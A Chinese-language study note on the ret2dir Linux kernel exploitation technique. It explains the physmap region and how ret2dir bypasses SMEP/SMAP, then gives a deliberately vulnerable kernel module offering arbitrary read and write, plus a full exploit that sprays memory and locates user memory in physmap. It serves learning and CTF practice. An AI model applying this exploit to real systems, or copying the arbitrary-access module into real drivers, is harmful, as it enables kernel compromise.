前言
ret2dir (return-to-direct-mapped memory) 内核中一个十分经典的攻击方式,这里记录一下自己的学习过程,自身水平有限,理解可能有偏差,望指正。
原理分析
ret2dir 源于 14 年的一篇论文
网上也有人做了翻译
也不搬砖了,这里主要记录一些基本的原理
下面的分析都是以 linux x86_64 架构为准
linux x86_64 内存布局
首先我们需要直到 linux 的内存布局,x86_64 的内存布局可以在Documentation/x86/x86_64/mm.txt 下
可以看到 physmap 也就是我们要找的直接映射区域在0xffff888000000000 - 0xffffc87fffffffff
这一段,大小为 64TB
那么这段内存是用来做什么的呢?
首先看它的定义
physmap:内核空间中一个大的,连续的虚拟内存空间它映射了部分或所有(取决于具体架构)的物理内存
也就是说这块地方是物理内存会直接映射到这64TB 里面的某个地方,不同架构映射可能会有所不同
这样要找到物理内存的一个位置,只需要做简单的线性加减就完事了,速度和效率都比较高
在实际的利用之前还需要了解一下linux 内核的内存分配方式,目前linux 内核多使用 伙伴系统 + slub 分配器 来做内存分配,这里不再赘述。可以参考这篇文章,讲的十分详细。
linux 内核内存分配主要有 kmalloc 和 vmalloc 两种方式
vmalloc 请求 页的倍数大小的内存,要保证虚拟地址连续,物理地址不需要连续
kmalloc 内存在字节级做分配,要保证 虚拟地址和物理地址都是连续的
kmalloc 也就是我们的slub分配器使用的方式,也是内核用到更多的方式
很容易想到slub分配器可以在physmap上做内存分配操作,例如要分配 0x200 大小的内存,那么就会找kmalloc-512
,最后这块内存是在physmap 里面的(有木有分配在 physmap外面的情况不是十分清楚,以后有时间再做分析,有大佬知道望告知 = =)
利用方式
通过上面的描述我们可以知道
- physmap 和 ram 是直接的映射关系
- 可以通过 slub 分配的内存地址找到 physmap 的位置
那么要怎么样利用呢?
ret2dir 主要是用来绕过内核 smep, smap 的限制
加上了 smep,smap 保护之后,内核态不能直接执行用户态的代码
但是用户态分配的内存,也会停留在 ram 中,这块内存在 physmap中是可以看到的,可以通过mmap分配大量的内存,这样找到的概率就会比较大
早期physmap是可执行的,于是可以在用户态写好shellcode, 然后劫持内核之后跳到 physmap 对应的位置就完事了,不用去管smep,smap
后面加上了一些保护策略(W^X
w 和 x 不能同时存在等) ,physmap 不可执行,但是仍然可以通过 rop 之类的方式进行利用
okay, 总结一下利用过程
- 1 mmap 大量的内存(rop chains 等),提高命中的概率
- 2 泄露出 slab 的地址,计算出 physmap的地址
- 3 劫持内核执行流到 physmap 上
Case study – 写个模块测试下
okay 基本原理知道了,就是可以在内核地址找到=一块用户态可以控制的内存
接下来实际操作一下,我们先写一个简单的模块
使用了5.0 版本的内核,可以从下面链接下载
下载完成之后执行下面命令即可,文件系统随便找个ctf题目拿来用就是
make defconfig
make -j8
内核模块编写
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include<linux/slab.h>
#include <linux/miscdevice.h>
#include <linux/delay.h>
MODULE_LICENSE("Dual BSD/GPL");
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char __user *buf;
};
static long read_any(struct in_args *args){
long ret = 0;
char *addr = (void *)args->addr;
if(copy_to_user(args->buf,addr,args->size)){
return -EINVAL;
}
return ret;
}
static long write_any(struct in_args *args){
long ret = 0;
char *addr = (void *)args->addr;
if(copy_from_user(addr,args->buf,args->size)){
return -EINVAL;
}
return ret;
}
static long add_any(struct in_args *args){
long ret = 0;
char *buffer = kmalloc(args->size,GFP_KERNEL);
if(buffer == NULL){
return -ENOMEM;
}
if(copy_to_user(args->buf,(void *)buffer,0x8)){
return -EINVAL;
}
return ret;
}
static long del_any(struct in_args *args){
long ret = 0;
kfree((void *)args->addr);
return ret;
}
static long kpwn_ioctl(struct file *file, unsigned int cmd, unsigned long arg){
long ret = -EINVAL;
struct in_args in;
if(copy_from_user(&in,(void *)arg,sizeof(in))){
return ret;
}
switch(cmd){
case READ_ANY:
ret = read_any(&in);
break;
case WRITE_ANY:
ret = write_any(&in);
break;
case DEL_ANY:
ret = del_any(&in);
break;
case ADD_ANY:
ret = add_any(&in);
break;
default:
ret = -1;
}
return ret;
}
static struct file_operations fops = {
.owner = THIS_MODULE,
.open = NULL,
.release = NULL,
.read = NULL,
.write = NULL,
.unlocked_ioctl = kpwn_ioctl
};
static struct miscdevice misc = {
.minor = MISC_DYNAMIC_MINOR,
.name = "kpwn",
.fops = &fops
};
int kpwn_init(void)
{
misc_register(&misc);
return 0;
}
void kpwn_exit(void)
{
printk(KERN_INFO "Goodbye hackern");
misc_deregister(&misc);
}
module_init(kpwn_init);
module_exit(kpwn_exit);
实现了四个功能
- add_any kmalloc 任意 size,返回地址
- del_any 传入 addr, kfree 掉
- read_any 传入 addr 任意地址读
- write_any 传入 addr 任意地址写
利用测试
利用主要分成下面几步
- 1 mmap 喷大量的内存
- 2 physmap 中找出用户态 mmap 的内存的对应地址 A
- 3 尝试改写 physmap 中地址 A 的内容,在用户态查看是否有变化
qemu-system-x86_64 -m 128M
-nographic -kernel $bzImage_dir
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 nokaslr'
-monitor /dev/null -initrd $cpio_dir
-cpu kvm64,+smep,+smap -s 2>/dev/null
qemu 这里给了 128M 的内存,mmap 喷内存的代码如下, mmap 出 64M的内存,这样命中率就会比较大, mmap 内存都初始化为 字符K
, 参考exp
// 64M
#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
void *mp;
for(int i=0;i<spray_times;i++){
if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
logs("error","heap spray");
exit(0);
}
memset(mp,'K',mp_size);
spray[i]=mp;
}
}
为了找出 physmap 中对应的地址,这里先add_any(fd,0x200,buf);
找出 slab 的地址,然后在上面做爆破,一个页一个页的读取,知道找出有KKKKKKKKKKKKKKKK
这个子串的内存
char *target = "KKKKKKKKKKKKKKKK";
...
u64 addr = slab_addr;
u64 pos=0;
u64 addr_to_change=0;
for(;addr < 0xffffc80000000000;addr+=0x1000){
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64) memmem(buf,0x1000,target,0x10);
if(pos){
....
}
}
找到了可能的 physmap 地址之后, 接着调用 write_any
写这个地址
看看用户态对应的内存有没有被改变,如果随着改变了,说明两者已经对应上了
if(pos){
addr_to_change = addr + pos - (u64)buf;
loglx("physmap hit addr",addr);
loglx("addr to change",addr_to_change);
write_any(fd,addr_to_change,dirty,0x100);
u64 *p = check();
if(p!=NULL){
logs("userspace","already change");
break;
}
}
完整 exp
完整的exp 如下
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/mman.h>
#include <signal.h>
typedef uint32_t u32;
typedef int32_t s32;
typedef uint64_t u64;
typedef int64_t s64;
void x64dump(char *buf,uint32_t num){
uint64_t *buf64 = (uint64_t *)buf;
printf("[-x64dump-] start : n");
for(int i=0;i<num;i++){
if(i%2==0 && i!=0){
printf("n");
}
printf("0x%016lx ",*(buf64+i));
}
printf("n[-x64dump-] end ... n");
}
void loge(char *buf){
printf("[err] : %sn",buf);
exit(EXIT_FAILURE);
}
void logs(char *tag,char *buf){
printf("[ s]: ");
printf(" %s ",tag);
printf(": %sn",buf);
}
void logx(char *tag,uint32_t num){
printf("[ x] ");
printf(" %-20s ",tag);
printf(": %-#8xn",num);
}
void loglx(char *tag,uint64_t num){
printf("[lx] ");
printf(" %-20s ",tag);
printf(": %-#16lxn",num);
}
void bp(char *tag){
printf("[bp] : %sn",tag);
getchar();
}
#define READ_ANY 0x1337
#define WRITE_ANY 0xdead
#define ADD_ANY 0xbeef
#define DEL_ANY 0x2333
struct in_args{
uint64_t addr;
uint64_t size;
char *buf;
};
void add_any(int fd,u64 size,char *buf){
struct in_args in;
in.buf=buf;
in.size=size;
long res = ioctl(fd,ADD_ANY,&in);
}
void read_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,READ_ANY,&in);
}
void write_any(int fd,u64 addr,char *buf,u64 size){
struct in_args in;
in.addr = addr;
in.buf=buf;
in.size=size;
long res = ioctl(fd,WRITE_ANY,&in);
}
void del_any(int fd,u64 addr){
struct in_args in;
in.addr = addr;
long res = ioctl(fd,DEL_ANY,&in);
}
#define spray_times 32*32
#define mp_size 1024*64
void *spray[spray_times];
void heap_srapy(){
void *mp;
for(int i=0;i<spray_times;i++){
if((mp=mmap(NULL,mp_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0))==MAP_FAILED){
logs("error","heap spray");
exit(0);
}
memset(mp,'K',mp_size);
spray[i]=mp;
}
}
u64 *check(){
int i=0;
for(i=0;i<spray_times;i++){
u64 *p = spray[i];
int j=0;
while(j<mp_size/8){
if(p[j]!=0x4b4b4b4b4b4b4b4b){
loglx("check change",(u64)&p[j]);
/*x64dump((void *)&p[j],0x20);*/
return &p[j];
}
j+=0x1000/8;
}
}
return NULL;
}
int main(int argc,char **argv){
int fd = open("/dev/kpwn",O_RDONLY);
logx("fd",fd);
char *target = "KKKKKKKKKKKKKKKK";
char *buf = malloc(0x1000);
char *dirty = malloc(0x100);
memset(dirty,'A',0x100);
u64 *buf64 = (u64 *)buf;
add_any(fd,0x200,buf);
/*x64dump(buf,0x2);*/
heap_srapy();
u64 slab_addr = buf64[0];
slab_addr = slab_addr & 0xffffffffff000000;
loglx("slab_addr",slab_addr);
u64 addr = slab_addr;
u64 pos=0;
u64 addr_to_change=0;
for(;addr < 0xffffc80000000000;addr+=0x1000){
memset(buf,0,0x1000);
read_any(fd,addr,buf,0x1000);
pos = (u64) memmem(buf,0x1000,target,0x10);
if(pos){
addr_to_change = addr + pos - (u64)buf;
loglx("physmap hit addr",addr);
loglx("addr to change",addr_to_change);
write_any(fd,addr_to_change,dirty,0x20);
u64 *p = check();
if(p!=NULL){
logs("userspace","already change");
x64dump((char *)p,0x10);
break;
}
}
}
bp("wait");
return 0;
}
实际运行的效果如下
可以看到大部分的内存都喷满了 KKK....
reference
https://www.cnblogs.com/0xJDchen/p/6143102.html
https://github.com/De1ta-team/De1CTF2019/blob/master/writeup/pwn/Race/exp.c